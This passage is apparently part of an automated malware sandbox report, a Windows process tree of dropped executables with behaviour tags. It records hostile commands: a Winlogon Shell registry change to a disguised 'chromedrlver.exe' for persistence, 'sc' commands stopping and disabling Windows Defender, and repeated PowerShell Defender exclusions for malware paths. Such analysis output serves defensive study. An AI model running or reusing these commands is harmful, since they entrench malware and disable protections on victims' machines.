                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                      PID:7552
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7856.exe
                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7856.exe
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:7884
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\B34C.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\B34C.exe
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:7832
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 7832 -s 272
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                                                                                          • Enumerates system info in registry
                                                                                                                                                                                                                                          PID:7004
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\5E05.exe
                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\5E05.exe
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                        PID:6272
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\5E05.exe
                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\5E05.exe
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:3540
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\B2E.exe
                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\B2E.exe
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:2228
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 2228 -s 276
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                                              • Checks processor information in registry
                                                                                                                                                                                                                                              • Enumerates system info in registry
                                                                                                                                                                                                                                              PID:5252
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\F4C4.exe
                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\F4C4.exe
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Checks processor information in registry
                                                                                                                                                                                                                                            • Enumerates system info in registry
                                                                                                                                                                                                                                            PID:7552
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 7552 -s 284
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                                              • Checks processor information in registry
                                                                                                                                                                                                                                              • Enumerates system info in registry
                                                                                                                                                                                                                                              PID:3528
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\1165.exe
                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\1165.exe
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:4524
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:3564
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:1280
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\4026.exe
                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\4026.exe
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:6892
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /release
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:6284
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\ipconfig.exe
                                                                                                                                                                                                                                                          "C:\Windows\system32\ipconfig.exe" /release
                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                          • Gathers network information
                                                                                                                                                                                                                                                          PID:6320
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:8260
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                            "C:\Windows\system32\PING.EXE" twitter.com
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                            • Runs ping.exe
                                                                                                                                                                                                                                                            PID:7472
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:1868
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                              "C:\Windows\system32\PING.EXE" twitter.com
                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                              • Runs ping.exe
                                                                                                                                                                                                                                                              PID:7896
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\51DB.exe
                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\51DB.exe
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:2640
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                              "cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:8928
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                  REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                  • Modifies WinLogon for persistence
                                                                                                                                                                                                                                                                  PID:6012
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\chromedrlver.exe
                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\chromedrlver.exe"
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:6796
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\80AC.exe
                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\80AC.exe
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                • Drops startup file
                                                                                                                                                                                                                                                                • Windows security modification
                                                                                                                                                                                                                                                                • Adds Run key to start application
                                                                                                                                                                                                                                                                • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                                                                                                                                • System policy modification
                                                                                                                                                                                                                                                                PID:2936
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\93e270dc-5ef7-4411-bdec-7d96c9d9bc69\AdvancedRun.exe
                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\93e270dc-5ef7-4411-bdec-7d96c9d9bc69\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\93e270dc-5ef7-4411-bdec-7d96c9d9bc69\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:9092
                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\93e270dc-5ef7-4411-bdec-7d96c9d9bc69\test.bat"
                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                        PID:5132
                                                                                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                          sc stop windefend
                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                            PID:2044
                                                                                                                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                            sc config windefend start= disabled
                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                              PID:3052
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\c04ce0f1-1a6b-4e2c-a8f9-8a9448cac841\AdvancedRun.exe
                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\c04ce0f1-1a6b-4e2c-a8f9-8a9448cac841\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\c04ce0f1-1a6b-4e2c-a8f9-8a9448cac841\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:9000
                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\c04ce0f1-1a6b-4e2c-a8f9-8a9448cac841\test.bat"
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                PID:6524
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\80AC.exe" -Force
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:6536
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\80AC.exe" -Force
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:5424
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\80AC.exe" -Force
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:2480
                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                      PID:6616
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:4328
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:5796
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\80AC.exe" -Force
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:456
                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                              PID:6564
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe
                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe"
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                            • Adds Run key to start application
                                                                                                                                                                                                                                                                                            • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                            • System policy modification
                                                                                                                                                                                                                                                                                            PID:7836
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7e0f59d1-7edb-4d07-a1a0-06e3d8ec8015\AdvancedRun.exe
                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7e0f59d1-7edb-4d07-a1a0-06e3d8ec8015\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\7e0f59d1-7edb-4d07-a1a0-06e3d8ec8015\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                              • Checks processor information in registry
                                                                                                                                                                                                                                                                                              • Enumerates system info in registry
                                                                                                                                                                                                                                                                                              PID:1904
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\7e0f59d1-7edb-4d07-a1a0-06e3d8ec8015\test.bat"
                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                  PID:6376
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                    sc stop windefend
                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                      PID:8292
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\8742cee3-0007-4a4f-af99-03b6bbaa1f1f\AdvancedRun.exe
                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\8742cee3-0007-4a4f-af99-03b6bbaa1f1f\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\8742cee3-0007-4a4f-af99-03b6bbaa1f1f\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                    PID:3716
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\8742cee3-0007-4a4f-af99-03b6bbaa1f1f\test.bat"
                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                        PID:5940
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                        PID:6068
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                          PID:9096
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                            PID:3896
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                              PID:1204
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                PID:1764
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                  PID:4736
                                                                                                                                                                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe
                                                                                                                                                                                                                                                                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe"
                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                    PID:8436
                                                                                                                                                                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe
                                                                                                                                                                                                                                                                                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe"
                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                      PID:4860
                                                                                                                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                                                                                                                                                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                        PID:5492
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                        PID:7808
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\80AC.exe" -Force
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:1344
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                            PID:5936
                                                                                                                                                                                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe
                                                                                                                                                                                                                                                                                                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe"
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                              PID:8180
                                                                                                                                                                                                                                                                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                                                                                                                                                                                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                PID:2192
                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\B025.exe
                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\B025.exe
                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                PID:7252
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 7252 -s 468
                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                                                                                                                                  • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                                  PID:5016
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 7252 -s 476
                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                                                                                                                                  • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                                  PID:3424
                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\F339.exe
                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\F339.exe
                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                  PID:6376
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 6376 -s 276
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                                                                    PID:4236
                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                                                                                                                                                                                                                                                C:\Windows\System32\WaaSMedicAgent.exe 17993e8b3687ae87e4c0225af4524e3e ntmwIsluzUm1basLYVrQvg.0.1.0.3.0
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                PID:1028
                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                PID:2268
                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Checks processor information in registry
                                                                                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                PID:2708
                                                                                                                                                                                                                                                                                                                                • C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
                                                                                                                                                                                                                                                                                                                                  C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                    PID:3380
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 2644 -ip 2644
                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                    PID:5220
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3480 -ip 3480
                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                      PID:5248
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                      PID:6136
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 4616 -ip 4616
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                      PID:5536
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 2768 -ip 2768
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                      PID:5552
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 4620 -ip 4620
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                      PID:5892
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 4024 -ip 4024
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                      PID:3076
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 744 -p 2696 -ip 2696
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                      PID:6120
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 5008 -ip 5008
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                      PID:5412
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1432 -ip 1432
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                      PID:932
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 688 -p 1592 -ip 1592
